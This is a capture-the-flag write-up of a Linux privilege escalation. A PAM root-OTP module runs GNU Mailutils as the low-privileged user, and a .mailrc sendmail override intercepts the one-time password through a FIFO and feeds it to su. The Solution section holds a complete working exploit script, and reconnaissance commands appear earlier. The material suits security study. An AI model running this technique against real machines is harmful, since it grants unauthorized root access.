Под прикрытием
Под прикрытием
Platform: avitoctf | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-23 | Status: Solved Techniques: mailrc_sendmail_override, otp_interception, fifo_input_redirection
Summary
Task: A low-privileged SSH account and a PAM root OTP flow expose a trust-boundary flaw in GNU Mailutils configuration. Solution: Override sendmail through the worker's .mailrc, capture the OTP in a FIFO, and feed it to su.
Под прикрытием — avitoctf
Description
Предоставлены SSH-учётные данные пользователя
worker. Цель — незаметно получить/root/flag.txt.
English summary: Starting from a low-privileged worker shell, obtain the root-only flag. Root authentication through su uses a custom one-time password sent to root's local mailbox.
Analysis
Focused reconnaissance
The usual direct privilege-escalation checks did not provide a route: worker had no useful sudo rights or file capabilities. The productive clue was the custom PAM entry for su:
bash read-only • copy allowedid sudo -n -l 2>&1 getcap -r / 2>/dev/null cat /etc/pam.d/su cat /usr/local/bin/pam_otp_root.py /usr/bin/mail --version
The relevant PAM configuration was:
text read-only • copy allowedauth requisite pam_python.so /usr/local/bin/pam_otp_root.py
For a root login, the module generated nine decimal digits, invoked Mailutils, and only then prompted su for the same value:
python read-only • copy allowedp = subprocess.Popen( ["/usr/bin/mail", "-s", "OTP for root login", "root"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE )
The absolute /usr/bin/mail path prevents a simple PATH hijack, but it does not make the invocation safe. At this point PAM is authenticating a requested identity; su has not yet transitioned to root. GNU Mailutils 3.15 therefore runs in the worker context and reads /home/worker/.mailrc.
Mailutils accepts the following user configuration:
text read-only • copy allowedset sendmail=/home/worker/sm.sh
This changes its delivery backend to an attacker-controlled executable. The OTP crosses a security boundary through software whose behavior is still configurable by the untrusted caller. It is therefore a trust-boundary and configuration flaw, not a weakness in OTP generation.
Brief dead ends
An unusual movable SGID-mail helper and an injectable backup script suggested a longer chain, but the backupuser cron job never ran because PAM rejected that account. Exim aliases, .forward, transports, expansions, and queue modes either executed as worker or were restricted. These paths were decoys compared with intercepting the OTP directly at its source.
Solution
Create a replacement sendmail program that reads the message from standard input, extracts its nine-digit token, and writes the token to a named pipe:
bash read-only • copy allowed#!/bin/bash set -eu rm -f /home/worker/otp.pipe /home/worker/mailcopy \ /home/worker/sm.sh /home/worker/.mailrc mkfifo /home/worker/otp.pipe printf '%s\n' '#!/bin/sh' \ 'tee /home/worker/mailcopy | grep -Eo "[0-9]{9}" | tail -1 > /home/worker/otp.pipe' \ > /home/worker/sm.sh chmod 700 /home/worker/sm.sh printf 'set sendmail=/home/worker/sm.sh\n' > /home/worker/.mailrc # Keep both FIFO ends open before starting authentication. exec 3<>/home/worker/otp.pipe su root -c 'cat /root/flag.txt' <&3
The ordering around file descriptor 3 is important. Opening a FIFO only for reading normally blocks until a writer appears, while opening it only for writing blocks until a reader appears. exec 3<>... opens the FIFO read/write in the current shell, returns immediately, and keeps a reader present.
Next, su takes its prompt input from descriptor 3. During PAM authentication, Mailutils reads .mailrc and launches sm.sh; that script receives the OTP mail on standard input and writes the extracted token to the FIFO. su consumes the token from the same descriptor, PAM accepts it, and the requested command executes as root.